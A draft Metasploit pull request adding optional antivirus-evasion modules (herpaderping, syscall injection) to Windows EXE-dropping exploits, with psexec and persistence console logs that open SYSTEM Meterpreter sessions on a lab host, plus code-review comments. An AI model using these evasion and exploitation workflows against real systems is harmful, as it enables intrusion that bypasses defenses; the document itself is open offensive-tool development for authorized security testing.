Skip to content

[WIP - DO NOT MERGE] Spike evasion modules for Windows Exploits which use EXE files#21103

Draft
sjanusz-r7 wants to merge 1 commit intorapid7:masterfrom
sjanusz-r7:spike-evasion-opt-in-exploit-modules
Draft

[WIP - DO NOT MERGE] Spike evasion modules for Windows Exploits which use EXE files#21103
sjanusz-r7 wants to merge 1 commit intorapid7:masterfrom
sjanusz-r7:spike-evasion-opt-in-exploit-modules

Conversation

@sjanusz-r7
Copy link
Contributor

@sjanusz-r7 sjanusz-r7 commented Mar 12, 2026

Do not merge.

This PR is an initial spike into wiring up evasion modules to run automatically (when a user specifies a value) when there is an executable being dropped onto a target and then executed.
This is done by modifying the EXE mixin, which means that any Windows exploit that is using this functionality, will have the EVASION_MODULE option registered and wired up (not for all code paths; e.g. DLL etc.)

There are some limitations of this, that I'll describe further on.

Seems like Windows is also detecting some of these executables:

VirTool:Win32/Herpaderping!pz
Trojan:Win64/CobaltStrike.BL!MTB

Example Workflows

PSEXEC (Powershell)

  • Not impacted:
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.207.1:4444 
[*] 192.168.207.169:445 - Connecting to the server...
[*] 192.168.207.169:445 - Authenticating to 192.168.207.169:445 as user 'win10'...
[*] 192.168.207.169:445 - Executing the payload...
[+] 192.168.207.169:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 2 opened (192.168.207.1:4444 -> 192.168.207.169:49972) at 2026-03-12 16:05:50 +0000

meterpreter > exit
[*] Shutting down session: 2

PSEXEC (Native Upload - No Evasion)

msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.207.1:4444 
[*] 192.168.207.169:445 - Connecting to the server...
[*] 192.168.207.169:445 - Authenticating to 192.168.207.169:445 as user 'win10'...
[!] 192.168.207.169:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.207.169:445 - Uploading payload... kXbEgNqr.exe
[*] 192.168.207.169:445 - Generating EXE Service payload...
[*] 192.168.207.169:445 - Created \kXbEgNqr.exe... (12288 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169
[+] 192.168.207.169:445 - Service started successfully...
[*] 192.168.207.169:445 - Deleting \kXbEgNqr.exe...
[*] Meterpreter session 3 opened (192.168.207.1:4444 -> 192.168.207.169:49974) at 2026-03-12 16:07:44 +0000

meterpreter > exit
[*] Shutting down session: 3

PSEXEC (Native Upload - Herpaderping)

msf exploit(windows/smb/psexec) > run evasion_module='evasion/windows/process_herpaderping'
[*] Started reverse TCP handler on 192.168.207.1:4444 
[*] 192.168.207.169:445 - Connecting to the server...
[*] 192.168.207.169:445 - Authenticating to 192.168.207.169:445 as user 'win10'...
[!] 192.168.207.169:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.207.169:445 - Uploading payload... JLFElzJu.exe
[*] 192.168.207.169:445 - Generating EXE Service payload...
[*] 192.168.207.169:445 - Running evasion module: evasion/windows/process_herpaderping...
[+] NALnXll.exe stored at /Users/sjanusz/.msf4/local/NALnXll.exe
[*] 192.168.207.169:445 - Created \JLFElzJu.exe... (169472 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 4 opened (192.168.207.1:4444 -> 192.168.207.169:49976) at 2026-03-12 16:08:28 +0000
[+] 192.168.207.169:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.207.169:445 - Deleting \JLFElzJu.exe...

meterpreter > exit
[*] Shutting down session: 4

PSEXEC (Native Upload - syscall_inject)

This scenario creates a Meterpreter session, but it is dying. We should investigate why.

msf exploit(windows/smb/psexec) > run evasion_module='evasion/windows/syscall_inject'
[*] Started reverse TCP handler on 192.168.207.1:4444 
[*] 192.168.207.169:445 - Connecting to the server...
[*] 192.168.207.169:445 - Authenticating to 192.168.207.169:445 as user 'win10'...
[!] 192.168.207.169:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.207.169:445 - Uploading payload... iHKkqPqx.exe
[*] 192.168.207.169:445 - Generating EXE Service payload...
[*] 192.168.207.169:445 - Running evasion module: evasion/windows/syscall_inject...
[+] ykyrK.exe stored at /Users/sjanusz/.msf4/local/ykyrK.exe
[*] 192.168.207.169:445 - Created \iHKkqPqx.exe... (19968 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 5 opened (192.168.207.1:4444 -> 192.168.207.169:49978) at 2026-03-12 16:10:41 +0000
[+] 192.168.207.169:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.207.169:445 - Deleting \iHKkqPqx.exe...


[*] 192.168.207.169 - Meterpreter session 5 closed.  Reason: Died
meterpreter > 

PSEXEC (Native Upload - syscall_inject - Persistent service)

Similar to above, the Meterpreter session dies before we can interact with it

msf exploit(windows/smb/psexec) > run evasion_module='evasion/windows/syscall_inject' SERVICE_PERSIST=true
[*] Started reverse TCP handler on 192.168.207.1:4444 
[*] 192.168.207.169:445 - Connecting to the server...
[*] 192.168.207.169:445 - Authenticating to 192.168.207.169:445 as user 'win10'...
[!] 192.168.207.169:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.207.169:445 - Uploading payload... XhbIksOc.exe
[*] 192.168.207.169:445 - Generating EXE Service payload...
[*] 192.168.207.169:445 - Running evasion module: evasion/windows/syscall_inject...
[+] BGIXmdfcL.exe stored at /Users/sjanusz/.msf4/local/BGIXmdfcL.exe
[*] 192.168.207.169:445 - Created \XhbIksOc.exe... (19968 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 6 opened (192.168.207.1:4444 -> 192.168.207.169:49980) at 2026-03-12 16:12:16 +0000
[+] 192.168.207.169:445 - Service start timed out, OK if running a command or non-service executable...
[!] 192.168.207.169:445 - Not removing service for persistence...

[*] 192.168.207.169 - Meterpreter session 6 closed.  Reason: Died
[-] Invalid session identifier: 6

PSEXEC (Native Upload - syscall_inject - Persistent service - EXITFUNC=process)

The default windows/x64/meterpreter/reverse_tcp payload EXITFUNC option is thread. Setting it to process or others has no impact in this case:

msf exploit(windows/smb/psexec) > run evasion_module='evasion/windows/syscall_inject' SERVICE_PERSIST=true EXITFUNC=process
[*] Started reverse TCP handler on 192.168.207.1:4444 
[*] 192.168.207.169:445 - Connecting to the server...
[*] 192.168.207.169:445 - Authenticating to 192.168.207.169:445 as user 'win10'...
[!] 192.168.207.169:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.207.169:445 - Uploading payload... TNfYPDma.exe
[*] 192.168.207.169:445 - Generating EXE Service payload...
[*] 192.168.207.169:445 - Running evasion module: evasion/windows/syscall_inject...
[+] GAYJQkrPl.exe stored at /Users/sjanusz/.msf4/local/GAYJQkrPl.exe
[*] 192.168.207.169:445 - Created \TNfYPDma.exe... (18944 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 7 opened (192.168.207.1:4444 -> 192.168.207.169:49982) at 2026-03-12 16:13:45 +0000
[+] 192.168.207.169:445 - Service start timed out, OK if running a command or non-service executable...
[!] 192.168.207.169:445 - Not removing service for persistence...

meterpreter > 
[*] 192.168.207.169 - Meterpreter session 7 closed.  Reason: Died

Persistence

I have used a PSEXEC session for these examples.

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  9         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DESKTOP-NO8VQQB  192.168.207.1:4444 -> 192.168.207.169:49985 (192.168.207.169)

Stageless (windows/x64/meterpreter_reverse_tcp) Meterpreter (Herpaderping)

Payload is too large, so we fail. This is expected.

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Generating EXE Service payload...
[*] Running evasion module: evasion/windows/process_herpaderping...
[-] Exploit failed: Msf::Evasion::Failed bad-config: Payload too big: 232006 bytes (max: 8192)

Staged (windows/x64/meterpreter/reverse_tcp) Meterpreter (Herpaderping)

The behaviour is a little janky; We get an error message, but we DO have a working Meterpreter session:

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Generating EXE Service payload...
[*] Running evasion module: evasion/windows/process_herpaderping...
[+] ZEjns.exe stored at /Users/sjanusz/.msf4/local/ZEjns.exe
[+] Payload written to C:\Windows\TEMP\bEpZ.exe
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 10 opened (192.168.207.1:4444 -> 192.168.207.169:49986) at 2026-03-12 16:25:54 +0000
[-] Exploit failed [user-interrupt]: Rex::TimeoutError Send timed out <= this would need to be removed
...
Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  9         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DESKTOP-NO8VQQB  192.168.207.1:4444 -> 192.168.207.169:49985 (192.168.207.169)
  10        meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DESKTOP-NO8VQQB  192.168.207.1:4444 -> 192.168.207.169:49986 (192.168.207.169)

msf exploit(windows/persistence/service) > sessions -i 10
[*] Starting interaction with 10...

meterpreter > sysinfo
Computer        : DESKTOP-NO8VQQB

Stageless Meterpreter (syscall_inject)

Here we start to encounter some problems and more janky behaviour.
With the default syscall_inject option SLEEP=30, we do not get a session. The exploit fails before the payload reaches out to MSF console. Setting the sleep timer to 0 as a workaround works. It fetches us a Meterpreter session. However said session then dies after approx. 60 seconds. Initially, the session can be interacted with:

msf exploit(windows/persistence/service) > run evasion_module='evasion/windows/syscall_inject' session=-1 EXITFUNC='process' SLEEP=0
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Generating EXE Service payload...
[*] Running evasion module: evasion/windows/syscall_inject...
[+] DQsFm.exe stored at /Users/sjanusz/.msf4/local/DQsFm.exe
[+] Payload written to C:\Windows\TEMP\KzLryc.exe
[*] Meterpreter session 12 opened (192.168.207.1:4444 -> 192.168.207.169:49990) at 2026-03-12 16:33:11 +0000
msf exploit(windows/persistence/service) > sessions -i 12
[*] Starting interaction with 12...

meterpreter > sysinfo
Computer        : DESKTOP-NO8VQQB
...
meterpreter > bg
[*] Backgrounding session 12...
... delay here ...
[*] 192.168.207.169 - Meterpreter session 12 closed.  Reason: Died

The same occurs for EXITFUNC='process' and EXITFUNC='thread'.

Staged Meterpreter (syscall_inject)

This is similar to above; the initial session is established, but dies after a delay:

msf exploit(windows/persistence/service) > run evasion_module='evasion/windows/syscall_inject' session=-1 EXITFUNC='process' SLEEP=0
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Generating EXE Service payload...
[*] Running evasion module: evasion/windows/syscall_inject...
[+] cpmvhq.exe stored at /Users/sjanusz/.msf4/local/cpmvhq.exe
[+] Payload written to C:\Windows\TEMP\uHnstZjN.exe
[*] Sending stage (232006 bytes) to 192.168.207.169
[*] Meterpreter session 13 opened (192.168.207.1:4444 -> 192.168.207.169:49991) at 2026-03-12 16:37:53 +0000
...
[*] 192.168.207.169 - Meterpreter session 13 closed.  Reason: Died

The same occurs for EXITFUNC='process' and EXITFUNC='thread'.

Limitations

  • Only supports exploits that require a payload (e.g. meterpreter) and interact with the target by dropping/executing an executable file.
  • We do not create quite the correct executable (e.g. exe vs exe-service) and as such, the syscall_inject module seems to struggle in these scenarios above. We should investigate how this can be fixed so that we always compile the correct executable type.

Next Steps

  • We should investigate if implementing the evasion capabilities as an encoder would be better than the current method of hooking methods and injecting ourselves (evasion processing) into the EXE generation workflows.
  • We should investigate how we can modify the evasion modules to create the correct executable; for example, exe vs exe-service etc. This would need to happen to ensure correct payload generation.
  • We should investigate what extra metadata we need to implement for exploits and evasion modules. For example:
"SupportedPayloadTypes" => %[shellcode ... ...],
"SupportedOutputEXecutableTypes" => %w[exe exe-service dll ... ...]
  • We can spike out a new evasion module: evasion/multi/http/remote_compiler, which would allow for compiling the evasion executable on a remote machine.
  • Investigate how we can expand this approach to ELF (Linux) once we have a Linux evasion module (currently, we have Windows evasion modules)
  • Investigate how we can wire up the Applocker evasion modules. They are currently not wired up as they need extra work to occur once the evasion module runs. For example, there's extra compiling steps to be performed etc. These modules are labelled as returning an Msf::ModuleOutputs::IntermediateFile.
  • Explore how we can have a nice UX for registering the nested module options; the user needs to be able to see what options the currently selected EVASION_MODULE offers, and needs to be able to set them correctly. We need to be mindful of how this will work in Pro. We could look into an approach similar to the C2 profiles work.
  • There's likely more here. I'll try to update this with more next steps after syncing up with the team.
  • Invesitgate potentially using something similar to https://github.com/monoxgas/sRDI or https://github.com/TheWover/donut

@sjanusz-r7 sjanusz-r7 changed the title Spike evasion modules for Windows Exploits which use EXE files [WIP - DO NOT MERGE] Spike evasion modules for Windows Exploits which use EXE files Mar 12, 2026
@sjanusz-r7 sjanusz-r7 force-pushed the spike-evasion-opt-in-exploit-modules branch from 8fc418a to 7fed581 Compare March 12, 2026 15:52
@sjanusz-r7 sjanusz-r7 force-pushed the spike-evasion-opt-in-exploit-modules branch from 7fed581 to 08eb899 Compare March 12, 2026 16:10
@adfoster-r7 adfoster-r7 requested a review from Copilot March 12, 2026 16:40
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR is a spike to automatically wire Windows evasion modules into EXE payload generation paths, so that exploits which drop/execute an EXE can optionally run an evasion module as part of payload delivery.

Changes:

  • Adds Msf::EvadableMixin and prepends it into Msf::Exploit::EXE to hook generate_payload_exe* flows via a new EVASION_MODULE option.
  • Introduces a new OptNestedModule option type plus module metadata mixins (Msf::ModuleInputs::*, Msf::ModuleOutputs::*) to describe evasion module inputs/outputs.
  • Adds small supporting changes (e.g., store_local path tracking, psexec upload status byte count, additional exception backtrace output).

Reviewed changes

Copilot reviewed 21 out of 21 changed files in this pull request and generated 8 comments.

Show a summary per file
File Description
modules/evasion/windows/windows_defender_js_hta.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/windows_defender_exe.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/syscall_inject.rb Annotates metadata and adjusts embedded Windows API usage.
modules/evasion/windows/process_herpaderping.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/applocker_evasion_workflow_compiler.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/applocker_evasion_presentationhost.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/applocker_evasion_msbuild.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
modules/evasion/windows/applocker_evasion_install_util.rb Annotates the evasion module with new ModuleInputs/Outputs metadata.
lib/msf/core/payload/stager.rb Minor formatting/comment tweak around stage generation/encoding.
lib/msf/core/option_container.rb Autoloads the new OptNestedModule option type.
lib/msf/core/opt_nested_module.rb Adds an option type for selecting nested (evasion) modules by fullname.
lib/msf/core/module_outputs/intermediate_file.rb Adds a metadata mixin describing IntermediateFile output.
lib/msf/core/module_outputs/executable.rb Adds a metadata mixin describing Executable output.
lib/msf/core/module_inputs/payload.rb Adds a metadata mixin describing Payload input.
lib/msf/core/exploit/remote/smb/client/psexec.rb Adds uploaded EXE byte count to status messages.
lib/msf/core/exploit/exe.rb Prepends Msf::EvadableMixin, refactors exe_post_generation to accept/return the binary.
lib/msf/core/evadable_mixin.rb Implements EVASION_MODULE option registration and EXE generation hooks.
lib/msf/core/encoded_payload.rb Removes an extraneous blank line.
lib/msf/core/auxiliary/report.rb Stores the most recent store_local path on the module instance for later retrieval.
lib/msf/base/simple/exploit.rb Prints exception backtraces as part of “Exploit failed” output.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

You can also share your feedback on Copilot code review. Take the survey.

mod.register_parent(self)

# Configure some known options that Pro also configures:
%w[VERBOSE AutoRunScript WORKSPACE].each { |opt_name| mod.datastore[opt_name] = self.datastore[opt_name].dup }
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

configure_module duplicates datastore values via .dup, but these options may be nil/true/false (e.g., VERBOSE), which will raise TypeError (can't dup NilClass/FalseClass). Assign the values directly, or dup only duplicable objects (typically Strings), to avoid crashing when configuring the child module.

Suggested change
%w[VERBOSE AutoRunScript WORKSPACE].each { |opt_name| mod.datastore[opt_name] = self.datastore[opt_name].dup }
%w[VERBOSE AutoRunScript WORKSPACE].each do |opt_name|
value = self.datastore[opt_name]
mod.datastore[opt_name] = value.is_a?(String) ? value.dup : value
end

Copilot uses AI. Check for mistakes.
return super unless valid_child_module_for_post_exe_generation_context?(child_module)

# Run the module here to make sure we process an executable => executable.
run_child_module(child_module)
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

exe_post_generation returns the result of run_child_module when EVASION_MODULE is set and the child module is deemed valid. run_child_module currently only configures the module and does not execute it or return a processed binary, so this path can return nil and break payload generation. Ensure this method always returns a binary string (either bin, super, or the child module’s produced output).

Suggested change
run_child_module(child_module)
processed_bin = run_child_module(child_module)
# If the child module didn't produce a binary, fall back to the superclass implementation.
return super unless processed_bin.is_a?(String)
processed_bin

Copilot uses AI. Check for mistakes.
::File.binread(file_to_read)
end

# I think her ewe might need to modify the template exe being used?
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Spelling/wording in this comment appears incorrect ("her ewe"). Please correct to avoid confusion for future readers.

Suggested change
# I think her ewe might need to modify the template exe being used?
# I think here we might need to modify the template exe being used?

Copilot uses AI. Check for mistakes.
rescue ::Exception => e
exploit.error = e
exploit.print_error("Exploit failed: #{e}")
exploit.print_error("Exploit failed: #{e}\n#{e.backtrace.join("\n")}")
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Printing full exception backtraces to the user unconditionally can be very noisy and may expose internal paths/implementation details in normal failures. Consider only printing the backtrace when VERBOSE/debug is enabled (and keep detailed backtraces in elog), or use vprint_* methods for the backtrace portion.

Suggested change
exploit.print_error("Exploit failed: #{e}\n#{e.backtrace.join("\n")}")
exploit.print_error("Exploit failed: #{e}")
exploit.vprint_error(e.backtrace.join("\n")) if exploit.respond_to?(:vprint_error)

Copilot uses AI. Check for mistakes.
Comment on lines +5 to +6
# A mixin used for providing Modules with post-exploitation options and helper methods
#
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Header comment describes this as providing "post-exploitation" options, but this mixin appears to be about payload delivery evasion (EVASION_MODULE and EXE generation hooks). Updating the comment to reflect the actual purpose will avoid confusion for future maintainers.

Copilot uses AI. Check for mistakes.
Comment on lines +29 to +38
return true if normalize(value).empty?

found_entries = ::Msf::Modules::Metadata::Cache.instance.find('type' => [['evasion'], []], 'fullname' => [[normalize(value)], []])

if found_entries.length > 1
puts("[-] Found multiple modules matching:\n #{found_entries.first(5).map { |entry| entry.fullname }.join("\n ")} #{"\n ... and more" if found_entries.length > 5}")
end

if found_entries.empty?
puts("[-] Found no matching module for '#{normalize(value)}'")
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OptNestedModule#valid? calls normalize(value).empty? even when value is nil. Since EVASION_MODULE defaults to nil, validating options will raise a NoMethodError (nil does not respond to empty?) and break any module that registers this option. Normalize the value once up front and explicitly treat nil/blank as valid when the option is not required (and ensure required options reject empty strings).

Suggested change
return true if normalize(value).empty?
found_entries = ::Msf::Modules::Metadata::Cache.instance.find('type' => [['evasion'], []], 'fullname' => [[normalize(value)], []])
if found_entries.length > 1
puts("[-] Found multiple modules matching:\n #{found_entries.first(5).map { |entry| entry.fullname }.join("\n ")} #{"\n ... and more" if found_entries.length > 5}")
end
if found_entries.empty?
puts("[-] Found no matching module for '#{normalize(value)}'")
normalized = normalize(value)
return true if normalized.nil? || normalized.empty?
found_entries = ::Msf::Modules::Metadata::Cache.instance.find('type' => [['evasion'], []], 'fullname' => [[normalized], []])
if found_entries.length > 1
puts("[-] Found multiple modules matching:\n #{found_entries.first(5).map { |entry| entry.fullname }.join("\n ")} #{"\n ... and more" if found_entries.length > 5}")
end
if found_entries.empty?
puts("[-] Found no matching module for '#{normalized}'")

Copilot uses AI. Check for mistakes.
Comment on lines +33 to +40
if found_entries.length > 1
puts("[-] Found multiple modules matching:\n #{found_entries.first(5).map { |entry| entry.fullname }.join("\n ")} #{"\n ... and more" if found_entries.length > 5}")
end

if found_entries.empty?
puts("[-] Found no matching module for '#{normalize(value)}'")
end

Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OptNestedModule#valid? writes directly to stdout via puts during option validation. This bypasses the module UI/RPC output handling and can produce noisy/incorrect output in non-interactive contexts. Prefer returning false (and letting the normal option validation error formatter report it) or use the module's print_* APIs where appropriate.

Suggested change
if found_entries.length > 1
puts("[-] Found multiple modules matching:\n #{found_entries.first(5).map { |entry| entry.fullname }.join("\n ")} #{"\n ... and more" if found_entries.length > 5}")
end
if found_entries.empty?
puts("[-] Found no matching module for '#{normalize(value)}'")
end

Copilot uses AI. Check for mistakes.

def initialize(info = {})
super
register_options(
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

EVASION_MODULE is registered via register_options, so it won’t be marked as an evasion option in listings and may be treated differently from existing evasion options. Elsewhere in the codebase, evasion-related settings are registered via register_evasion_options (e.g., lib/msf/core/exploit/remote/http_client.rb:61). Consider using register_evasion_options here too.

Suggested change
register_options(
register_evasion_options(

Copilot uses AI. Check for mistakes.
exe = nil
::File.open(path,'rb') {|f| exe = f.read(f.stat.size)}
exe
File.binread(path)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it's probably not an issue, but maybe worth noting that file.binread raises an exception on large files

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can revert, there's no real reason to change it apart from me being near that area

@jvoisin
Copy link
Contributor

jvoisin commented Mar 13, 2026

[*] 192.168.207.169:445 - Uploading payload... kXbEgNqr.exe
[*] 192.168.207.169:445 - Generating EXE Service payload...
[*] 192.168.207.169:445 - Created \kXbEgNqr.exe... (12288 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169

the order is a bit weird, as Uploading payload is shown before Generating EXE Service payload and Created \kXbEgNqr.exe. The line should either be removed, or the generating / created should be indented to convey that they're part of the process logged by the first line, eg.

[*] 192.168.207.169:445 - Uploading payload... kXbEgNqr.exe
[*] 192.168.207.169:445   |- Generating EXE Service payload...
[*] 192.168.207.169:445   |- Created \kXbEgNqr.exe... (12288 bytes)
[*] Sending stage (232006 bytes) to 192.168.207.169

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: In Progress
Status: Todo

Development

Successfully merging this pull request may close these issues.

5 participants